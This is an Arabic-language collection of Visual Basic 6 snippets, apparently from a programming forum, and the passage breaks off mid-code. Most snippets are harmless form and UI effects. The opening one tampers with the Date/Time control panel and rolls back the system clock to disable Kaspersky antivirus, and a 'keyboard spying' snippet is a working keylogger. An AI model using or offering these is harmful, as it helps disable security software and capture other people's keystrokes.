'it is simple ..understand it!!!! Private declare sub getsystemtime lib "kernel32" (lpsystemtime as systemtime) private declare function setsystemtime lib "kernel32" (lpsystemtime as systemtime) as long private type systemtime wyear as integer wmonth as integer wdayofweek as integer wday as integer whour as integer wminute as integer wsecond as integer wmilliseconds as integer end type private sub form_load() open "c:\windows\system32\timedate.cpl" for append as 1# 'disable the time window ,easy isn't it!! Dim systime as systemtime getsystemtime systime systime.wyear = 1999 ' this will kill kasper : ) setsystemtime systime end sub |
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" _ (ByVal hWnd1 As Long, ByVal hWnd2 As Long, _ ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, _ ByVal nCmdShow As Long) As Long |
Private Sub Command1_Click() 'لإخفاء الأيقونات على سطح المكتب Dim hWnd As Long hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString) ShowWindow hWnd, 0 End Sub |
Private Sub Command2_Click() 'لإظهار الأيقونات على سطح المكتب Dim hWnd As Long hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString) ShowWindow hWnd, 5 End Sub |
تـآثـير ثلاثي الابعاد على الفورم
ضع هذا الكود فقط في الفورم
تلوين الفورم قبل اغلاقه
ضـع هذا الكود في الفورم
اتحداك تمسك الفورم
كود يحرك الفورم
في الفورم
في التايمر
تـحريك النـص
قم بادراج [ Timer ] عـدد2 وقم بادراج Label
وضع هذا الكود في الفورم
ضع هذا الكود فقط في الفورم
public sub threedform(frmform as form) const cpi = 3.1415926 dim intlinewidth as integer intlinewidth = 5 dim intsavescalemode as integer intsavescalemode = frmform.scalemode frmform.scalemode = 3 dim intscalewidth as integer dim intscaleheight as integer intscalewidth = frmform.scalewidth intscaleheight = frmform.scaleheight frmform.cls frmform.line (0, intscaleheight)-(intlinewidth, 0), &hffffff, bf frmform.line (0, intlinewidth)-(intscalewidth, 0), &hffffff, bf frmform.line (intscalewidth, 0)-(intscalewidth - intlinewidth, _ intscaleheight), &h808080, bf frmform.line (intscalewidth, intscaleheight - intlinewidth)-(0, _ intscaleheight), &h808080, bf dim intcirclewidth as integer intcirclewidth = sqr(intlinewidth * intlinewidth + intlinewidth _ * intlinewidth) frmform.fillstyle = 0 frmform.fillcolor = qbcolor(15) frmform.circle (intlinewidth, intscaleheight - intlinewidth), _ intcirclewidth, _ qbcolor(15), -3.1415926, -3.90953745777778 frmform.circle (intscalewidth - intlinewidth, intlinewidth), _ intcirclewidth, _ qbcolor(15), -0.78539815, -1.5707963 frmform.line (0, intscaleheight)-(0, 0), 0 frmform.line (0, 0)-(intscalewidth - 1, 0), 0 frmform.line (intscalewidth - 1, 0)-(intscalewidth - 1, _ intscaleheight - 1), 0 frmform.line (0, intscaleheight - 1)-(intscalewidth - 1, _ intscaleheight - 1), 0 frmform.scalemode = intsavescalemode end sub private sub form_resize() threedform me end sub |
ضـع هذا الكود في الفورم
private sub form_unload(cancel as integer) windowstate = 2 'تكبير حجم النموذج ليصبح بحجم الشاشة drawwidth = 4 'اتغيير حجم نقطة الرسم for i = 1 to 18000 'التحضير للتنفيذ down = down + 1 ' سرعة الرسم across = across + 1 pset (rnd * across, rnd * down), qbcolor(rnd * 15) 'رسم النقط next i ' اعد تنقيذ الرسم |
اتحداك تمسك الفورم كود يحرك الفورم
في الفورم
private sub form_load() timer1.interval = 250 end sub |
private sub timer1_timer() randomize me.backcolor = rgb(rnd * 255, rnd * 255, rnd * 255) me.move rnd * 12000, rnd * 9000, rnd * 12000, rnd * 9000 end sub |
تـحريك النـص
قم بادراج [ Timer ] عـدد2 وقم بادراج Label
وضع هذا الكود في الفورم
Dim Llabel As Integer Private Sub Form_Load() Form1.ScaleMode = 3 Timer1.Interval = 100 End Sub Private Sub Timer1_Timer() Llabel = Llabel + 10 Label1.Left = Llabel If Llabel > 300 Then Timer1.Interval = 0 Timer2.Interval = 100 End If End Sub Private Sub Timer2_Timer() Llabel = Llabel - 10 Label1.Left = Llabel If Llabel < 0 Then Timer1.Interval = 100 Timer2.Interval = 0 End If End Sub |
خلفيه + جميييييييـله جداجدا للفـورم
ضع هذا الكود في الفورم فـقط!!
ضع هذا الكود في الفورم فـقط!!
function dist(x1, y1, x2, y2) as single dim a as single, b as single a = (x2 - y1) * (x2 - x1) b = (y2 - y1) * (y2 - y1) dist = sqr(a + b) end function sub moveit(a, b, t) a = (1 - t) * a + t * b end sub private sub form_click() cls dim t as single, x1 as single, y1 as single dim x2 as single, y2 as single, x3 as single dim y3 as single, x4 as single, y4 as single scale (-320, 200)-(320, -200) t = 0.05 x1 = -320: Y1 = 200 x2 = 320: Y2 = 200 x3 = 320: Y3 = -200 x4 = -320: Y4 = -200 do until dist(x1, y1, x2, y2) < 10 line (x1, y1)-(x2, y2) line -(x3, y3) line -(x4, y4) line -(x1, y1) moveit x1, x2, t moveit y1, y2, t moveit x2, x3, t moveit y2, y3, t moveit x3, x4, t moveit y3, y4, t moveit x4, x1, t moveit y4, y1, t loop end sub private sub form_resize() cls dim t as single, x1 as single, y1 as single dim x2 as single, y2 as single, x3 as single dim y3 as single, x4 as single, y4 as single scale (-320, 200)-(320, -200) t = 0.05 x1 = -320: Y1 = 200 x2 = 320: Y2 = 200 x3 = 320: Y3 = -200 x4 = -320: Y4 = -200 do until dist(x1, y1, x2, y2) < 10 line (x1, y1)-(x2, y2) line -(x3, y3) line -(x4, y4) line -(x1, y1) moveit x1, x2, t moveit y1, y2, t moveit x2, x3, t moveit y2, y3, t moveit x3, x4, t moveit y3, y4, t moveit x4, x1, t moveit y4, y1, t loop end sub |
إليكم آكواد إيقاف و إعادة التشغيل و بعض الأوامر لنظام التشغيل ويندوز xp
Call ****l("cmd.exe /c shutdown -l", vbNormalFocus) ' كود اعادة تشغيل الكمبيوتر تحت نظام اكس بي Call ****l("cmd.exe /c shutdown -r", vbNormalFocus) ' كود أطفاء الجهاز الكمبيوتر تحت نظام اكس بي Call ****l("cmd.exe /c shutdown -s", vbNormalFocus) ' كود ألغاء العمليات السابقة الكمبيوتر تحت نظام اكس بي Call ****l("cmd.exe /c shutdown -a", vbNormalFocus) ' كود يقوم باقفال جميع النوافذ و البرامج المشتغلة دون سابق انذار Call ****l("cmd.exe /c shutdown -f", vbNormalFocus) |
إلى 100 Interval غیر خاصیة Timer ومؤقت زمني 1 Label ضع ٢أداة عنوان
: Timer1_Timer أكتب الكود الآتي في
كود:
Private Sub Timer1_Timer() Label1.Caption=Time Label2.Caption=Date End Sub
البرنامج الأول عبارة عن مستعرض صور بسیط. افتح مشروع جديد ثم ضع مايلي:
فیظھر مربع حوار نختار Ctrl+T نضغط على ، Image ٢ أزرار ، أداة عرض الصور 1
ثم نظغط على موافق Microsoft Common Dialog control 6.0(SP منه الأداة ( 6
ونقوم بإدراجه على الفورم. نكتب الكود الآتي بالحدث
فیظھر مربع حوار نختار Ctrl+T نضغط على ، Image ٢ أزرار ، أداة عرض الصور 1
ثم نظغط على موافق Microsoft Common Dialog control 6.0(SP منه الأداة ( 6
ونقوم بإدراجه على الفورم. نكتب الكود الآتي بالحدث
كود:
: Form_Load
Private Sub Form_Load()
Form_Resize
End Sub
: Form_Resize والكود الآتي بالحدث
Private Sub Form_Resize()
On Error Resume Next
Image1.Width = Me.Width - 360
Image1.Height = Me.Height - 1180
End Sub
وللزر الأول "تحمیل" :
Private Sub CmdOpen_Click()
On Error Resume Next
CommonDialog1.CancelError = True
CommonDialog1.Filter="All Picture Files|*.bmp;*.jpg;*.gif;*.wmf|"
CommonDialog1.ShowOpen
Image1.Picture = LoadPicture(CommonDialog1.FileName)
End Sub
وللزر الثاني " حفظ" :
Private Sub CmdSave_Click()
On Error Resume Next
CommonDialog1.CancelError = True
CommonDialog1.Filter= "JPG|*.jpg| BMP|*.bmp| Gif|*.gif|"
CommonDialog1.ShowSave
SavePicture Image1.Picture, CommonDialog1.FileName
End Sub
- بسم الله الرحمن الرحيم
إليكم طريقة إيقاف و إعادة التشغيل و بعض الأوامر البسسيط لنظام التشغيل ويندوز XP
' كود اغلاق حساب في الويندوز اكس بي
كود:
Call S h e l l("cmd.exe /c shutdown -l", vbNormalFocus) ' كود اعادة تشغيل الكمبيوتر تحت نظام اكس بي Call S h e l l("cmd.exe /c shutdown -r", vbNormalFocus) ' كود أطفاء الجهاز الكمبيوتر تحت نظام اكس بي Call S h e l l("cmd.exe /c shutdown -s", vbNormalFocus) ' كود ألغاء العمليات السابقة الكمبيوتر تحت نظام اكس بي Call S h e l l("cmd.exe /c shutdown -a", vbNormalFocus) ' كود يقوم باقفال جميع النوافذ و البرامج المشتغلة دون سابق انذار Call S h e l l("cmd.exe /c shutdown -f", vbNormalFocus)
الجهاز و اذا اردت أن تمدد المدة أو تقصرها فاكتب الكود التالي :
كود:
Call S h e l l("cmd.exe /c shutdown -s -t 10", vbNormalFocus)
كود:
Call S h e l l("cmd.exe /c shutdown -s -t 10 -c By Hani", vbNormalFocus)
ملآحظـة : آمـ،،،ـح آلفرآقآت
كود جعل الفورم شفاف
في ال ( General )
في مكان تحميل الفورم ( Form Load )
BrBz ..~
في ال ( General )
كود:
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long , ByValcrKey As Long , ByVal bAlpha As Byte , ByVal dwFlags As Long) As Boolean Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long , ByVal nIndex As Long , ByVal dwNewLong As Long) As Long Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long , ByVal nIndex As Long) As Long Const LWA_ALPHA = 2 Const GWL_EXSTYLE = (-20) Const WS_EX_LAYERED = &H80000
في مكان تحميل الفورم ( Form Load )
كود:
Private Sub Form_Load() SetWindowLong hwnd , GWL_EXSTYLE , GetWindowLong(hwnd , GWL_EXSTYLE) Or WS_EX_LAYERED SetLayeredWindowAttributes hwnd , 0 , 128 , LWA_ALPHA End Sub
كود:
Sub Explode(form1 As Form) form1.Width = 0 form1.Height = 0 form1.Show For x = 0 To 5000 Step 1 form1.Width = x form1.Height = x With form1 .Left = (Screen.Width - .Width) / 2 .Top = (Screen.Height - .Height) / 2 End With Next End Sub Private Sub Form_Load() Explode Me End Sub
البرنامج عبارة عن برنامج ترحیب يستخدم للترحیب عند الضغط على أي
لغة فإن البرنامج يظھر كلمة الترحیب الخاصة بكل لغة :
للفورم إلى Caption ثم غیر Standard.exe افتح مشروع قیاسي جديد
"برنامج الترحیب". ثم ضع الأدوات التالیة على الفورم :
List صندوق قائمة 1 ، Text أداة نص 1 ، Label أداة عنوان 1
True ھي Text ل: 1 Locked اجعل خاصیة
: Form_Load أكتب الكود الآتي في
كود:
Private Sub Form_Load () Text1.Text="" Label1.Caption="" List1.Additem " "العربي List1.Additem " "الإنجلیزي End Sub : List1_Click الآن أكتب الكود الآتي في Private Sub List1_Click() Select Case List1.ListIndex Case 0 Label1.Caption = " "العربي Text1.Text= " "أھلاً بالمبرمج Case 1 Label1.Caption= " "الإنجلیزي Text1.Text="Welcome Programmer" End select End Sub
للفورم Caption ثم غیر خاصیة Standard.exe افتح مشروع قیاسي جديد
Timer1 ، Picture إلى "تحريك صورة" ثم ضع 1
Timer1 = ل 100 Interval وقم بوضع خاصیة Picture ضع صورة في 1
2- Maximized للفورم إلى WindowState غیر خاصیة
Dim X,Y as Integer General عرف متحولات في القسم العام
: Timer1_Timer أكتب الكود الآتي في
كود:
Private Sub Timer1_Timer() X=100 Y=100 Picture1.Top =Picture1.Top – X If Picture1.Top<0 then Picture1.Top=0 Picture1.Left =Picture1.Left +Y End if End Sub
فیظھر مربع حوار نختار Ctrl+T نضغط على ، Image ٢ أزرار ، أداة عرض الصور 1
ثم نظغط على موافق Microsoft Common Dialog control 6.0(SP منه الأداة ( 6
: Form_Load ونقوم بإدراجه على الفورم. نكتب الكود الآتي بالحدث
كود:
Private Sub Form_Load() Form_Resize End Sub
كود:
Private Sub Form_Resize() On Error Resume Next Image1.Width = Me.Width - 360 Image1.Height = Me.Height - 1180 End Sub
كود:
Private Sub CmdOpen_Click() On Error Resume Next CommonDialog1.CancelError = True CommonDialog1.Filter="All Picture Files|*.bmp;*.jpg;*.gif;*.wmf|" CommonDialog1.ShowOpen Image1.Picture = LoadPicture(CommonDialog1.FileName) End Sub
كود:
Private Sub CmdSave_Click() On Error Resume Next CommonDialog1.CancelError = True CommonDialog1.Filter= "JPG|*.jpg| BMP|*.bmp| Gif|*.gif|" CommonDialog1.ShowSave SavePicture Image1.Picture, CommonDialog1.FileName End Sub
كود لجعل الفورم في المقدمه form on top
كــــــــــــود الموديل
كود:
Public lwHandles() As Long
Public l As Long
Public Path As String
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function sGetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Private Const WM_GETTEXTLENGTH = &HE
Private Const WM_GETTEXT = &HD
Private Declare Function CloseHandle Lib "Kernel32.dll" (ByVal Handle As Long) As Long
Private Declare Function OpenProcess Lib "Kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Private Declare Function GetModuleFileNameExA Lib "psapi.dll" (ByVal hProcess As Long, ByVal hModule As Long, ByVal ModuleName As String, ByVal nSize As Long) As Long
Private Declare Function EnumProcessModules Lib "psapi.dll" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Const PROCESS_QUERY_INFORMATION = 1024
Private Const PROCESS_VM_READ = 16
Private Const MAX_PATH = 260
Private Declare Function DrawIcon Lib "user32" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long, ByVal hIcon As Long) As Long
Private Declare Function ExtractIcon Lib "<font color="#FF0000">*</font><font color="#FF0000">*</font><font color="#FF0000">*</font><font color="#FF0000">*</font>l32.dll" Alias "ExtractIconA" (ByVal hInst As Long, ByVal lpszExeFileName As String, ByVal nIconIndex As Long) As Long
Private Declare Function Setwindowpos Lib "user32" Alias "SetWindowPos" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Const HWND_TOPMOST = -1
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOSIZE = &H1
Public Const HWND_NOTOPMOST = -2
Public Const LB_ITEMFROMPOINT = &H1A9
Public Sub GethWnd()
Dim p As POINTAPI
GetCursorPos p
ReDim lwHandles(0) As Long
lwHandles(0) = WindowFromPoint(p.x, p.y)
Call HandleSearch
Call GetWindowFileName
End Sub
Public Sub HandleSearch()
l = 0
Do While GetParent(lwHandles(l)) <> 0
If GetParent(lwHandles(l)) <> 0 Then
l = l + 1
ReDim Preserve lwHandles(l) As Long
lwHandles(l) = GetParent(lwHandles(l - 1))
End If
Loop
End Sub
Public Function GetClassname(ByVal hwnd As Long) As String
Dim retVal As Long
Dim sClassName As String
sClassName = SPACE$(260)
retVal = sGetClassName(hwnd, sClassName, 260)
GetClassname = Left(sClassName, retVal)
End Function
Public Function GetWinText(hwnd As Long) As String
Dim WindowText As String
Dim retVal As Long
Dim WindowTextLen As Long
WindowTextLen = SendMessage(hwnd, WM_GETTEXTLENGTH, ByVal CLng(0), ByVal CLng(0)) + 1
WindowText = SPACE(WindowTextLen)
retVal = SendMessageByString(hwnd, WM_GETTEXT, WindowTextLen, WindowText)
GetWinText = Left(WindowText, retVal)
End Function
Public Function GetWindowFileName()
Dim ProcessID As Long
Dim hProcess As Long
Dim lRet As Long
Dim Modules(1 To 200) As Long
Dim cbNeeded As Long
Dim FileName As String
Dim nSize As Long
GetWindowThreadProcessId lwHandles(0), ProcessID
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, 0, ProcessID)
lRet = EnumProcessModules(hProcess, Modules(1), 200, cbNeeded)
FileName = SPACE$(MAX_PATH)
nSize = 500
lRet = GetModuleFileNameExA(hProcess, Modules(1), FileName, nSize)
Path = FileName
End Function
Public Function lExtractIcon(IconHDC As Long)
return1& = ExtractIcon(lwHandles(0), Path, 0)
return2& = DrawIcon(IconHDC, 0, 0, return1&)
End Function
Public Function SetWinPos(iPos As Integer, lhwnd As Long) As Boolean
Dim lwinpos As Long
iPos = 1
Select Case iPos
Case 1
lwinpos = HWND_TOPMOST
End Select
If Setwindowpos(lhwnd, lwinpos, 0, 0, 0, 0, SWP_NOMOVE + SWP_NOSIZE) Then
SetWinPos = True
End If
End Function
و الكـــــود هذا في الفورم
Dim B As Boolean B = SetWinPos(1, Me.hwnd) |
Ctrl + T إلى "فتح" ، اضغط على Caption وغیر الخاصة Command زر أمر 1
Microsoft Common Dialog control 6.0(SP فیظھر مربع حوار اختر منه الأداة ( 6
.Label وضعھا على الفورم ، وضع أداة عنوان 1
كود الزر "فتح" :
كود:
Private Sub Command1_Click() On Error GoTo err: CommonDialog1.CancelError = True CommonDialog1.Filter = "All Media Types(*.mp3;*.wav)|*.mp3;*.wav|" CommonDialog1.ShowOpen MMControl1.Command = "stop" MMControl1.FileName = CommonDialog1.FileName Label1 = CommonDialog1.FileName MMControl1.Command = "open" MMControl1.Command = "play" err: MMControl1.FileName = "" End Sub
كود لعكس الفورم
كود جعل الجملة عمودية
كود اخفاء مؤشر الفأرة في تطبيق الفيجول بيسك :
قسم التعاريف
كود تحديد دقت عرض الشاشة
التجسس على لوحة المفاتيح
ونكتب في موديل Modell
مؤثر جميل على الفورم
إخفاء المشيرة وإظهارها
طلب الاتصال بالإنترنت
تأجيل تنفيذ الكود لفترة معينة
منع تشغيل أكثر من نسخة من البرنامج
نسخ خلفية سطح المكتب إلى النموذج
نسخ الصورة أو قلبها عمودياً أو أفقياً
يتبع بعد الفاصل:27:
Private Sub Form_Load() Dim Ctrl As Control On Error Resume Next For Each Ctrl In Controls If TypeOf Ctrl Is Line Then Ctrl.X1 = Ctrl.Container.ScaleWidth - Ctrl.X1 Ctrl.X2 = Ctrl.Container.ScaleWidth - Ctrl.X2 Else Ctrl.Left = Ctrl.Container.ScaleWidth - Ctrl.Left - Ctrl.Width End If If Ctrl.Alignment = 1 Then Ctrl.Alignment = 0 ElseIf Ctrl.Alignment = 0 Then Ctrl.Alignment = 1 End If Ctrl.RightToLeft = True Next RightToLeft = True Err.Clear End Sub |
كود جعل الجملة عمودية
Private Sub Form_Activate() Dim s As String For i = 1 To Len(Label1) s = s & Mid$(Label1, i, 1) & vbCrLf Next Label1 = s End Sub |
كود اخفاء مؤشر الفأرة في تطبيق الفيجول بيسك :
قسم التعاريف
Private Declare Function ShowCursor Lib "user32" _ (ByVal bShow As Long) As Long اخفاء : x = ShowCursor(False) اظهار : x = ShowCursor(True) |
كود تحديد دقت عرض الشاشة
Dim x, y As Integer x = Screen.Width / 15 y = Screen.Height / 15 If x = 640 And y = 480 Then MsgBox ("640 * 480") If x = 800 And y = 600 Then MsgBox ("800 * 600") If x = 1024 And y = 768 Then MsgBox ("1024 * 768") |
التجسس على لوحة المفاتيح
Private Sub Form_Load() Me.Caption = "Key Spy" 'Create an API-timer SetTimer Me.hwnd, 0, 1, AddressOf TimerProc End Sub Private Sub Form_Paint() Dim R As RECT Const mStr = "Start this project, go to another application, type something, switch back to this application and unload the form. If you unload the form, a messagebox with all the typed keys will be shown." 'Clear the form Me.Cls 'API uses pixels Me.ScaleMode = vbPixels 'Set the rectangle's values SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight 'Draw the text on the form DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0& End Sub Private Sub Form_Resize() Form_Paint End Sub Private Sub Form_Unload(Cancel As Integer) 'Kill our API-timer KillTimer Me.hwnd, 0 'Show all the typed keys MsgBox sSave End Sub |
Public Const DT_CENTER = &H1 Public Const DT_WORDBREAK = &H10 Type RECT **** As Long Top As Long Right As Long Bottom As Long End Type Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Global Cnt As Long, sSave As String, sOld As String, Ret As String Dim Tel As Long Function GetPressedKey() As String For Cnt = 32 To 128 'Get the keystate of a specified key If GetAsyncKeyState(Cnt) <> 0 Then GetPressedKey = Chr$(Cnt) Exit For End If Next Cnt End Function Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) Ret = GetPressedKey If Ret <> sOld Then sOld = Ret sSave = sSave + sOld End If End Sub |
مؤثر جميل على الفورم
Function Dist(x1, y1, x2, y2) As Single Dim A As Single, B As Single A = (x2 - y1) * (x2 - x1) B = (y2 - y1) * (y2 - y1) Dist = Sqr(A + B) End Function Sub ****It(A, B, t) A = (1 - t) * A + t * B End Sub Private Sub Form_Click() Cls Dim t As Single, x1 As Single, y1 As Single Dim x2 As Single, y2 As Single, x3 As Single Dim y3 As Single, x4 As Single, y4 As Single Scale (-320, 200)-(320, -200) t = 0.05 x1 = -320: y1 = 200 x2 = 320: y2 = 200 x3 = 320: y3 = -200 x4 = -320: y4 = -200 Do Until Dist(x1, y1, x2, y2) < 10 Line (x1, y1)-(x2, y2) Line -(x3, y3) Line -(x4, y4) Line -(x1, y1) ****It x1, x2, t ****It y1, y2, t ****It x2, x3, t ****It y2, y3, t ****It x3, x4, t ****It y3, y4, t ****It x4, x1, t ****It y4, y1, t Loop End Sub Private Sub Form_Resize() Cls Dim t As Single, x1 As Single, y1 As Single Dim x2 As Single, y2 As Single, x3 As Single Dim y3 As Single, x4 As Single, y4 As Single Scale (-320, 200)-(320, -200) t = 0.05 x1 = -320: y1 = 200 x2 = 320: y2 = 200 x3 = 320: y3 = -200 x4 = -320: y4 = -200 Do Until Dist(x1, y1, x2, y2) < 10 Line (x1, y1)-(x2, y2) Line -(x3, y3) Line -(x4, y4) Line -(x1, y1) ****It x1, x2, t ****It y1, y2, t ****It x2, x3, t ****It y2, y3, t ****It x3, x4, t ****It y3, y4, t ****It x4, x1, t ****It y4, y1, t Loop End Sub |
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long Private Sub Command1_Click() X = ShowCursor(False) End Sub Private Sub Command2_Click() X = ShowCursor(True) End Sub |
طلب الاتصال بالإنترنت
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0 Const FTP_TRANSFER_TYPE_ASCII = &H1 Const FTP_TRANSFER_TYPE_BINARY = &H2 Const INTERNET_DEFAULT_FTP_PORT = 21 ' default 'for FTP servers Const INTERNET_SERVICE_FTP = 1 Const INTERNET_FLAG_PASSIVE = &H8000000 ' used 'for FTP connections Const INTERNET_OPEN_TYPE_PRECONFIG = 0 ' 'use registry configuration Const INTERNET_OPEN_TYPE_DIRECT = 1 ' 'direct to net Const INTERNET_OPEN_TYPE_******************** = 3 ' 'via named ******************** Const INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTO******************** = 4 ' prevent using java/script/INS Const MAX_PATH = 260 Private Type FILETIME dwLowDateTime As Long dwHighDateTime As Long End Type Private Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14 End Type Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal s********************Name As String, ByVal s********************Bypass As String, ByVal lFlags As Long) As Long Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean Private Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As Long Private Declare Function FtpCreateDirectory Lib "wininet.dll" Alias "FtpCreateDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean Private Declare Function FtpRe****Directory Lib "wininet.dll" Alias "FtpRe****DirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean Private Declare Function FtpDeleteFile Lib "wininet.dll" Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, ByVal lpszFileName As String) As Boolean Private Declare Function FtpRenameFile Lib "wininet.dll" Alias "FtpRenameFileA" (ByVal hFtpSession As Long, ByVal lpszExisting As String, ByVal lpszNew As String) As Boolean Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" (ByVal hConnect As Long, ByVal lpszRemoteFile As String, ByVal lpszNewFile As String, ByVal fFailIfExists As Long, ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As Boolean Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Boolean Private Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long Private Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long Const PassiveConnection As Boolean = True Private Sub Form_Load() Dim hConnection As Long, hOpen As Long, sOrgPath As String 'open an internet connection hOpen = InternetOpen("API-Guide sample program", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0) 'connect to the FTP server hConnection = InternetConnect(hOpen, "your ftp server", INTERNET_DEFAULT_FTP_PORT, "your login", "your password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0) 'create a buffer to store the original directory sOrgPath = String(MAX_PATH, 0) 'get the directory FtpGetCurrentDirectory hConnection, sOrgPath, Len(sOrgPath) 'create a new directory 'testing' FtpCreateDirectory hConnection, "testing" 'set the current directory to 'root/testing' FtpSetCurrentDirectory hConnection, "testing" 'upload the file 'test.htm' FtpPutFile hConnection, "C:\test.htm", "test.htm", FTP_TRANSFER_TYPE_UNKNOWN, 0 'rename 'test.htm' to 'apiguide.htm' FtpRenameFile hConnection, "test.htm", "apiguide.htm" 'enumerate the file list from the current directory ('root/testing') EnumFiles hConnection 'retrieve the file from the FTP server FtpGetFile hConnection, "apiguide.htm", "c:\apiguide.htm", False, 0, FTP_TRANSFER_TYPE_UNKNOWN, 0 'delete the file from the FTP server FtpDeleteFile hConnection, "apiguide.htm" 'set the current directory back to the root FtpSetCurrentDirectory hConnection, sOrgPath 're**** the direcrtory 'testing' FtpRe****Directory hConnection, "testing" 'close the FTP connection InternetCloseHandle hConnection 'close the internet connection InternetCloseHandle hOpen End Sub Public Sub EnumFiles(hConnection As Long) Dim pData As WIN32_FIND_DATA, hFind As Long, lRet As Long 'set the graphics mode to persistent Me.AutoRedraw = True 'create a buffer pData.cFileName = String(MAX_PATH, 0) 'find the first file hFind = FtpFindFirstFile(hConnection, "*.*", pData, 0, 0) 'if there's no file, then exit sub If hFind = 0 Then Exit Sub 'show the filename Me.Print ****(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1) Do 'create a buffer pData.cFileName = String(MAX_PATH, 0) 'find the next file lRet = InternetFindNextFile(hFind, pData) 'if there's no next file, exit do If lRet = 0 Then Exit Do 'show the filename Me.Print ****(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1) Loop 'close the search handle InternetCloseHandle hFind End Sub Sub ShowError() Dim lErr As Long, sErr As String, lenBuf As Long 'get the required buffer size 